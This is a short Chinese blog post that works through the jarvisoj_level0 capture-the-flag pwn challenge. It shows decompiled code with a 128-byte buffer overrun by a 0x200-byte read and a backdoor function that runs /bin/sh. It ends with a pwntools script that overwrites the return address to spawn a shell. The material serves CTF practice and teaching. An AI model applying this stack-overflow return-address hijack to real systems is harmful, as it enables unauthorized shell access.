jarvisoj_level0

题目链接:jarvisoj_level0

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

vulnerable_function 函数如下。

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

可以看到,就是一道简单的栈溢出题目,并且程序中存在后门函数,如下。

int callsystem()
{
  return system("/bin/sh");
}

因此,直接栈溢出覆盖返回地址至 callsystem 函数即可。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    s(0x88 * b"a" + p64(0x0000000000400596))
    irt()

pwn()
posted @ 2025-03-25 22:12  imtaieee  阅读(60)  评论(0)    收藏  举报